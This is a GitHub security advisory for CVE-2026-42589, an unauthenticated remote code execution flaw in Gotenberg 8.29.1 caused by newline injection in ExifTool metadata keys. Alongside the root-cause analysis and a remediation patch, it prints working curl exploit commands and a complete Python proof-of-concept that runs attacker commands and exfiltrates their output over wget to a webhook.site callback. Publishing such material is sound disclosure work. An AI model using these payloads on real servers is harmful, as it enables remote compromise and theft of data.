Skip to content

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

Critical severity GitHub Reviewed Published Apr 30, 2026 in gotenberg/gotenberg • Updated May 14, 2026

Package

gomod github.com/gotenberg/gotenberg/v8 (Go)

Affected versions

= 8.29.1

Patched versions

None

Description

Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection

Summary

Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.

Vulnerability Details

Field Value
Product Gotenberg
Version 8.29.1 (default gotenberg/gotenberg:8)
Component pdfengines/metadata/write endpoint
CWE CWE-78 — Improper Neutralization of Special Elements used in an OS Command

Affected Code

Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character
validation. The existing dangerousTags blocklist uses exact-match deletion and
provides no defense against \n-embedded keys.

The injection occurs because go-exiftool writes each key to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)   // k contains \n → splits into a new argument line

When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:

-Title
-if
system('cmd')||1
-Comment=x

ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.

Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.
This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.

Attack Scenario

Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)

  1. Attacker sends a POST request to /forms/pdfengines/metadata/write with any valid PDF and a metadata JSON object whose key contains embedded newlines.
  2. Gotenberg deserializes the JSON key — \n is preserved as a literal newline in Go's map[string]any after json.Unmarshal.
  3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
  4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
  5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.

Proof of Concept

# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F 'files=@sample.pdf;type=application/pdf' \
  --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

OOB exfiltration via base64-encoded HTTP callback:

OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F 'files=@sample.pdf;type=application/pdf' \
  --form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u
# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...

Self-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):

#!/usr/bin/env python3
"""
Usage: python3 poc.py <target> <oob_url> [command]
  python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID
  python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID "cat /etc/passwd"
"""
import sys, json, subprocess, urllib.request

def check_target(target):
    with urllib.request.urlopen(f"{target}/version", timeout=5) as r:
        print(f"[+] Gotenberg {r.read().decode().strip()} — target reachable")

def get_pdf(target):
    r = subprocess.run(["curl", "-s", "-X", "POST", f"{target}/forms/chromium/convert/url",
                        "-F", "url=https://example.com"], capture_output=True, timeout=30)
    assert r.stdout[:4] == b"%PDF", "Failed to generate PDF"
    print(f"[+] Got sample PDF ({len(r.stdout)} bytes)")
    return r.stdout

def exploit(target, pdf, oob, cmd):
    import tempfile, os
    key  = f'Title\n-if\nsystem(\'wget -q -O /dev/null "{oob}?c=$({cmd}|base64|tr -d "=\\n")" 2>/dev/null\')||1\n-Comment'
    meta = json.dumps({key: "x"})
    with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as f:
        f.write(pdf); tmp = f.name
    try:
        r = subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                            "-X", "POST", f"{target}/forms/pdfengines/metadata/write",
                            "-F", f"files=@{tmp};type=application/pdf",
                            "--form-string", f"metadata={meta}"],
                           capture_output=True, text=True, timeout=30)
        return int(r.stdout.strip())
    finally:
        os.unlink(tmp)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(__doc__); sys.exit(1)
    target, oob = sys.argv[1].rstrip("/"), sys.argv[2]
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    print(f"[*] Target: {target} | OOB: {oob} | Command: {cmd}")
    check_target(target)
    pdf    = get_pdf(target)
    status = exploit(target, pdf, oob, cmd)
    if status == 200:
        print(f"[+] HTTP {status} — payload fired, check OOB listener for: ?c=<base64({cmd})>")
        print(f"[!] Decode with: echo <value> | base64 -d")
    else:
        print(f"[-] HTTP {status} — unexpected response")

Expected output:

[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id
[+] Gotenberg 8.29.1 — target reachable
[+] Got sample PDF (12345 bytes)
[+] HTTP 200 — payload fired, check OOB listener for: ?c=<base64(id)>

Impact

Full unauthenticated remote code execution as the Gotenberg process user (uid=1001(gotenberg), member of root group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg's port 3000 without an authenticating proxy is fully compromised by a single HTTP request.

Remediation

In Gotenberg's metadata handler, reject any key containing control characters before passing it to go-exiftool:

import "strings"

for key := range metadata {
    if strings.ContainsAny(key, "\n\r\x00") {
        return fmt.Errorf("invalid metadata key %q: control characters not allowed", key)
    }
}

Operators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.

Note: A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable — see go-exiftool advisory).

Timeline

Date Event
2026-04-04 Vulnerability discovered
2026-04-04 RCE confirmed — local file write + OOB HTTP
2026-04-04 Report drafted for disclosure
2026-04-08 Split into separate per-product advisories

Resources

References

@gulien gulien published to gotenberg/gotenberg Apr 30, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 14, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(24th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-42589

GHSA ID

GHSA-rqgh-gxv4-6657

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.